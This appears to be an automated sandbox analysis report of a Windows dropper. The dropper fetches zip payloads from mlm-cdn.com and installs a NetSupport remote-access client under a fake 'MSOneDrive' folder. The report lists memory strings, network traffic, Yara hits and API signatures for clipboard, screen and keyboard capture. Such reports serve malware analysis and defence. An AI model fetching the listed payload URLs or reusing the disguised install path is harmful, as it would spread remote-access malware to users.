Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, PCICHEK.DLL.3.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: pcicapi.dll.3.dr, remcmdstub.exe.3.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, pcicapi.dll.3.dr, PCICHEK.DLL.3.dr, remcmdstub.exe.3.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.3.dr, PCICL32.DLL.3.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: remcmdstub.exe.3.dr	String found in binary or memory: http://crt.sectigo.com/COMODOTimeStampingCA_2.crt0#
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, PCICHEK.DLL.3.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, PCICHEK.DLL.3.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: pcicapi.dll.3.dr, remcmdstub.exe.3.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, pcicapi.dll.3.dr, PCICHEK.DLL.3.dr, remcmdstub.exe.3.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: client32.exe, 0000000B.00000003.1671103639.0000000001162000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 0000000B.00000002.3746392967.0000000001162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/
Source: client32.exe, client32.exe, 0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: client32.exe, 0000000B.00000002.3743777363.00000000010C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspO
Source: client32.exe, 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: client32.exe, 0000000B.00000002.3743777363.0000000001146000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 0000000B.00000003.1671103639.0000000001146000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspT
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, pcicapi.dll.3.dr, PCICHEK.DLL.3.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: remcmdstub.exe.3.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.3.dr, PCICL32.DLL.3.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.3.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g20
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.3.dr, client32.exe.3.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.3.dr, client32.exe.3.dr	String found in binary or memory: http://s2.symcb.com0
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.3.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g2.crt08
Source: client32.exe.3.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.3.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.3.dr, client32.exe.3.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.3.dr, client32.exe.3.dr	String found in binary or memory: http://sv.symcd.com0&
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.3.dr, PCICL32.DLL.3.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.3.dr, PCICL32.DLL.3.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.3.dr, PCICL32.DLL.3.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.3.dr	String found in binary or memory: http://www.crossteccorp.com
Source: client32.exe, 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, client32.exe, 0000000D.00000002.1391294248.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp
Source: client32.exe, 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, client32.exe, 0000000D.00000002.1391294248.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp118
Source: PCICL32.DLL.3.dr	String found in binary or memory: http://www.netsupportsoftware.com
Source: client32.exe, 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, client32.exe, 0000000D.00000002.1391294248.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	String found in binary or memory: http://www.pci.co.uk/support
Source: client32.exe, 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, client32.exe, 0000000D.00000002.1391294248.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	String found in binary or memory: http://www.pci.co.uk/supportsupport
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.3.dr, client32.exe.3.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.3.dr, client32.exe.3.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.3.dr, client32.exe.3.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.3.dr, client32.exe.3.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mlm-cdn.com/
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368040624.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mlm-cdn.com/1
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368040624.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mlm-cdn.com/k
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.000000000105E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mlm-cdn.com/ssd/sdn1.zip
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1318840314.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mlm-cdn.com/ssd/sdn1.zipl
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.000000000105E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mlm-cdn.com/ssd/sdn2.zip
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368040624.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mlm-cdn.com/ssd/sdn2.zip2a
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.000000000105E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mlm-cdn.com/ssd/sdn3.zip
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368040624.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.000000000105E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mlm-cdn.com/ssd/sdn4.zip
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.000000000105E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mlm-cdn.com/ssd/sdn4.zip2%localappdata%/MSOneDrive
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368040624.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mlm-cdn.com/ssd/sdn4.zipJ
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368040624.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mlm-cdn.com/ssd/sdn4.zipL
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368040624.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mlm-cdn.com/ssd/sdn4.zipj
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368040624.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mlm-cdn.com/ssd/sdn4.zipom/ssd/sdn3.zipe4$
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, PCICHEK.DLL.3.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: remcmdstub.exe.3.dr	String found in binary or memory: https://sectigo.com/CPS0B
Source: pcicapi.dll.3.dr, remcmdstub.exe.3.dr	String found in binary or memory: https://sectigo.com/CPS0C
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, pcicapi.dll.3.dr, PCICHEK.DLL.3.dr, remcmdstub.exe.3.dr	String found in binary or memory: https://sectigo.com/CPS0D
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.3.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.3.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63020
Source: unknown	Network traffic detected: HTTP traffic on port 63017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63019
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63016
Source: unknown	Network traffic detected: HTTP traffic on port 63021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63017
Source: unknown	Network traffic detected: HTTP traffic on port 63020 -> 443

Source: unknown

HTTPS traffic detected: 142.11.212.184:443 -> 192.168.2.7:49700 version: TLS 1.2

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_1101DBE0 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,

11_2_1101DBE0

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11031300 GetClipboardFormatNameA,SetClipboardData,	11_2_11031300
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1101DBE0 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,	11_2_1101DBE0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11031300 GetClipboardFormatNameA,SetClipboardData,	13_2_11031300
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1101DBE0 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,	13_2_1101DBE0

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_11031080 IsClipboardFormatAvailable,GetClipboardData,GetClipboardFormatNameA,GetLastError,GlobalUnlock,

11_2_11031080

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_11117290 _calloc,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,_malloc,_calloc,Sleep,GetTickCount,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetTickCount,WaitForSingleObject,_memset,_memset,_malloc,_malloc,_memset,_calloc,_calloc,GetSystemPaletteEntries,GetStockObject,SelectPalette,SelectPalette,SelectPalette,RealizePalette,_memset,SelectPalette,DeleteObject,CreatePalette,SelectPalette,RealizePalette,BitBlt,GetObjectA,GetBitmapBits,GetDIBits,_malloc,_free,GetTickCount,GetTickCount,WaitForSingleObject,GetTickCount,WaitForSingleObject,GetTickCount,CloseHandle,_free,_free,_free,_free,SelectObject,DeleteObject,DeleteObject,SelectPalette,DeleteObject,DeleteDC,ReleaseDC,_free,_free,_free,

11_2_11117290

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11106C70 PeekMessageA,GetKeyState,GetKeyState,GetKeyState,Sleep,GetKeyState,		11_2_11106C70
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11106C70 PeekMessageA,GetKeyState,GetKeyState,GetKeyState,Sleep,GetKeyState,		13_2_11106C70

Source: Yara match	File source: 13.2.client32.exe.111a3f08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.client32.exe.111a3f08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client32.exe PID: 7384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 7512, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\MSOneDrive\PCICL32.DLL, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11108CB0 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,		11_2_11108CB0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11108CB0 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,		13_2_11108CB0

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_111058F0: GetKeyState,DeviceIoControl,keybd_event,

11_2_111058F0

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_11085430 _memset,GetVersionExA,OpenWindowStationA,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopA,SetProcessWindowStation,CloseWindowStation,SetHandleInformation,SetHandleInformation,SetHandleInformation,_memset,LoadLibraryA,GetProcAddress,IsBadReadPtr,CreateProcessAsUserA,GetProcAddress,FreeLibrary,MsgWaitForMultipleObjects,MsgWaitForMultipleObjects,PeekMessageA,DispatchMessageA,PeekMessageA,DispatchMessageA,PeekMessageA,MsgWaitForMultipleObjects,CloseHandle,CloseHandle,CloseHandle,GetProcessHeap,HeapFree,GetLastError,CloseDesktop,GetLastError,SetProcessWindowStation,CloseWindowStation,GetLastError,

11_2_11085430

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1102BB50 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,		11_2_1102BB50
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1102BB50 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,		13_2_1102BB50

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C81000	3_2_00C81000
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C81420	3_2_00C81420
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C869E0	3_2_00C869E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C81A80	3_2_00C81A80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C97867	3_2_00C97867
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C83C20	3_2_00C83C20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C84580	3_2_00C84580
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C85D40	3_2_00C85D40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C86120	3_2_00C86120
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C8BAFC	3_2_00C8BAFC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C927EB	3_2_00C927EB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C82FB0	3_2_00C82FB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C84B40	3_2_00C84B40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C92340	3_2_00C92340
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1105D550	11_2_1105D550
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1106DED0	11_2_1106DED0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_110280F0	11_2_110280F0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1110E3D0	11_2_1110E3D0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_110A9340	11_2_110A9340
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11117290	11_2_11117290
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1101B5A0	11_2_1101B5A0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1114D430	11_2_1114D430
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11031430	11_2_11031430
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11043450	11_2_11043450
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11151CA0	11_2_11151CA0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11029FB0	11_2_11029FB0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11155E65	11_2_11155E65
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_110AC1B0	11_2_110AC1B0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1101A340	11_2_1101A340
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11082530	11_2_11082530
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1101A780	11_2_1101A780
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11008920	11_2_11008920
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1115C9AB	11_2_1115C9AB
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1104CBF0	11_2_1104CBF0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1107ADC0	11_2_1107ADC0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1106AC40	11_2_1106AC40
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_110A8E30	11_2_110A8E30
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_6C8090A0	11_2_6C8090A0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_6C837DD6	11_2_6C837DD6
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_6C831EC6	11_2_6C831EC6
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_6C816AB0	11_2_6C816AB0
